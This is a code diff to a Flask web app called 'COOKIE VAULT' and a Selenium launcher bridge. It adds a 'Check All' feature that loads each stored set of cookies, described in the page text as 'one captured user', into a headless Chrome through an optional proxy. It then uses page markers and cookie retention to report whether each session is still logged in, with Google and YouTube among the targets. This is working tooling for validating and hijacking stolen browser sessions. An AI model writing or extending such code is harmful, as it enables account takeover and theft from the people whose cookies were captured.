diff --git a/app.py b/app.py
index 5e908d5..08cceb3 100644
--- a/app.py
+++ b/app.py
@@ -375,6 +375,61 @@ def _smart_scan(root):
# ---------------- LOGIN (session-1 bridge) ----------------
+CHECK_STATE = {} # file -> {status, detail}
+CHECK_LOCK = threading.Lock()
+
+@app.route("/check_all")
+def check_all():
+ domain = request.args.get("domain", "").strip()
+ if not domain:
+ return redirect(url_for("index"))
+ stem = domain.strip(".")
+ c = db()
+ sess = c.execute("""SELECT source_file FROM cookies WHERE domain LIKE ?
+ GROUP BY source_file LIMIT 300""", ("%" + stem + "%",)).fetchall()
+ c.close()
+ files = [s[0] for s in sess]
+ with CHECK_LOCK:
+ for f in files:
+ CHECK_STATE.setdefault(f, {"status": "queued", "detail": ""})
+ threading.Thread(target=_run_checks, args=(domain, files), daemon=True).start()
+ return redirect(url_for("sessions", domain=domain, checking=1))
+
+def _run_checks(domain, files):
+ stem = domain.strip(".")
+ for f in files:
+ with CHECK_LOCK:
+ CHECK_STATE[f] = {"status": "checking", "detail": ""}
+ try:
+ c = db()
+ rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
+ WHERE domain LIKE ? AND source_file = ? LIMIT 500""",
+ ("%" + stem + "%", f)).fetchall()
+ c.close()
+ if not rows:
+ with CHECK_LOCK:
+ CHECK_STATE[f] = {"status": "empty", "detail": "no cookies"}
+ continue
+ payload = {"domain": domain, "proxy": "", "cookies": [
+ {"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
+ "expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
+ req = urllib.request.Request("http://127.0.0.1:5067/check",
+ data=json.dumps(payload).encode(),
+ headers={"Content-Type": "application/json"})
+ with urllib.request.urlopen(req, timeout=90) as r:
+ res = json.load(r)
+ with CHECK_LOCK:
+ CHECK_STATE[f] = {"status": res.get("status", "error"),
+ "detail": res.get("detail", "")[:150]}
+ except Exception as e:
+ with CHECK_LOCK:
+ CHECK_STATE[f] = {"status": "error", "detail": str(e)[:150]}
+
+@app.route("/check_status")
+def check_status():
+ with CHECK_LOCK:
+ return jsonify(CHECK_STATE)
+
@app.route("/sessions")
def sessions():
domain = request.args.get("domain", "").strip()
@@ -388,13 +443,16 @@ def sessions():
("%" + stem + "%",)).fetchall()
total = c.execute("SELECT COUNT(*) FROM cookies WHERE domain LIKE ?", ("%" + stem + "%",)).fetchone()[0]
c.close()
- return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total)
+ return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total,
+ checks=dict(CHECK_STATE), checking=request.args.get("checking"))
SESSIONS_PAGE = STYLE + r"""
Sessions — COOKIE VAULT
-{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP.
+{% if checking %} {% endif %}
+{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Pick an exit then JUMP. Check All walks every session and reports login status (page auto-refreshes while checking).
egress:
@@ -406,12 +464,16 @@ SESSIONS_PAGE = STYLE + r"""
-session (source file) cookies alive
+session (source file) cookies alive login status
{% for s in sess %}
{{s[0]}}
{{s[1]}}
{{'✓ fresh' if s[2] else 'expired?'}}
+ {% set st = checks.get(s[0]) %}{% if st %}
+ {{st.status}}
+ {{st.detail[:80]}}
+ {% else %}— {% endif %}
JUMP IN →
{% endfor %}
diff --git a/launcher_bridge.py b/launcher_bridge.py
index edadd01..65b351f 100644
--- a/launcher_bridge.py
+++ b/launcher_bridge.py
@@ -25,6 +25,20 @@ class Handler(BaseHTTPRequestHandler):
return
self.send_response(404); self.end_headers()
def do_POST(self):
+ if urlparse(self.path).path == "/check":
+ try:
+ ln = int(self.headers.get("Content-Length", 0))
+ data = json.loads(self.rfile.read(ln))
+ domain = data.get("domain", "")
+ cookies = data.get("cookies", [])
+ proxy = data.get("proxy", "")
+ if not domain or not cookies:
+ self._json(400, {"ok": False, "error": "domain and cookies required"}); return
+ res = check_login(domain, cookies, proxy)
+ self._json(200, res)
+ except Exception as e:
+ self._json(500, {"ok": False, "error": str(e)})
+ return
if urlparse(self.path).path != "/launch":
self.send_response(404); self.end_headers(); return
try:
@@ -117,6 +131,126 @@ def launch(domain, cookies, tok, proxy=""):
try: driver.quit()
except Exception: pass
+def check_login(domain, cookies, proxy=""):
+ """Load the site with these cookies headlessly, detect login state. Returns dict."""
+ from selenium import webdriver
+ from selenium.webdriver.chrome.options import Options
+ opts = Options()
+ opts.add_argument("--headless=new")
+ opts.add_argument("--no-first-run")
+ opts.add_argument("--no-default-browser-check")
+ opts.add_argument("--window-size=1280,800")
+ opts.add_argument("--disable-gpu")
+ import tempfile
+ prof = tempfile.mkdtemp(prefix="chk_", dir=SESSION_DIR)
+ opts.add_argument(r"--user-data-dir=" + prof)
+ if proxy:
+ opts.add_argument("--proxy-server=" + proxy)
+ from selenium.webdriver.chrome.service import Service
+ svc = Service(executable_path=os.path.join(SESSION_DIR, "..", "chromedriver.exe"))
+ driver = None
+ try:
+ driver = webdriver.Chrome(service=svc, options=opts)
+ host = domain.lstrip(".")
+ try:
+ driver.get(f"https://{host}/")
+ except Exception:
+ return {"status": "dead", "detail": "site unreachable"}
+ time.sleep(1.0)
+ added = 0
+ for ck in cookies:
+ try:
+ c = {"name": ck.get("name"), "value": ck.get("value", ""),
+ "domain": ck.get("domain", ""), "path": ck.get("path", "/") or "/",
+ "secure": bool(ck.get("secure"))}
+ if not c["name"]:
+ continue
+ exp = ck.get("expiry") or 0
+ try: exp = int(float(exp))
+ except Exception: exp = 0
+ if exp > 0: c["expiry"] = exp
+ try:
+ driver.add_cookie(c); added += 1
+ except Exception:
+ c2 = dict(c); c2.pop("expiry", None)
+ try: driver.add_cookie(c2); added += 1
+ except Exception: pass
+ except Exception:
+ pass
+ try:
+ driver.get(f"https://{host}/")
+ except Exception:
+ return {"status": "dead", "detail": "reload failed"}
+ time.sleep(2.5)
+ body = ""
+ try:
+ body = driver.page_source[:200000].lower()
+ except Exception:
+ pass
+ # cookie-jar proof: did OUR cookies actually land in the browser jar?
+ jar_names = set()
+ try:
+ for ck in driver.get_cookies():
+ jar_names.add(ck.get("name", ""))
+ except Exception:
+ pass
+ sent_names = {ck.get("name") for ck in cookies if ck.get("name")}
+ kept = len(sent_names & jar_names)
+ # login detection heuristics
+ logged_in_markers = ["sign out", "log out", "logout", "my account", "account settings",
+ "signed in as", "avatar-btn", "img-avatar", "profile-menu",
+ "creator studio", "youtube studio", "switch account",
+ "ggpht.com", "googleusercontent", "authuser=", "/u/0/",
+ "authenticated", "welcome back", "account-icon", "avatar-image",
+ "data-avatar", "member-menu", "user-menu", "my profile"]
+ logged_out_markers = ["sign in", "log in", "create account", "register now",
+ "signup", "sign-up"]
+ li = sum(1 for m in logged_in_markers if m in body)
+ lo = sum(1 for m in logged_out_markers if m in body)
+ # "login" alone is ambiguous (appears in code), require 2+ strong logout markers
+ if "sign in" in body and "log in" in body:
+ lo += 1
+ title = ""
+ try: title = driver.title[:120]
+ except Exception: pass
+ if li >= 2 and li > lo:
+ status = "ACTIVE"
+ elif li > 0 and lo == 0:
+ status = "ACTIVE?"
+ elif lo >= 2:
+ status = "dead"
+ else:
+ status = "unclear"
+ # For JS-heavy sites (YouTube etc.) the DOM never shows markers in raw HTML.
+ # Decisive signal = session cookies were RETAINED after reload (sites drop dead
+ # session cookies on reload when the server rejects them).
+ if status == "unclear" and sent_names:
+ if kept >= max(2, len(sent_names) // 2):
+ status = "ACTIVE?"
+ detail_jar = f"jar kept {kept}/{len(sent_names)} session cookies"
+ elif kept == 0:
+ status = "dead"
+ detail_jar = f"jar kept 0/{len(sent_names)} — server dropped session"
+ else:
+ status = "unclear"
+ detail_jar = f"jar kept {kept}/{len(sent_names)}"
+ else:
+ detail_jar = f"jar {kept}/{len(sent_names)}" if sent_names else ""
+ return {"status": status, "detail": (f"{detail_jar} title={title}" if detail_jar else f"title={title}"),
+ "added": added,
+ "shot": base64.b64encode(_png(driver, "check")).decode() if _png(driver, "check") else ""}
+ except Exception as e:
+ return {"status": "error", "detail": str(e)[:200]}
+ finally:
+ if driver:
+ try: driver.quit()
+ except Exception: pass
+ try:
+ import shutil
+ shutil.rmtree(prof, ignore_errors=True)
+ except Exception:
+ pass
+
def _png(driver, stage):
try:
return driver.get_screenshot_as_png()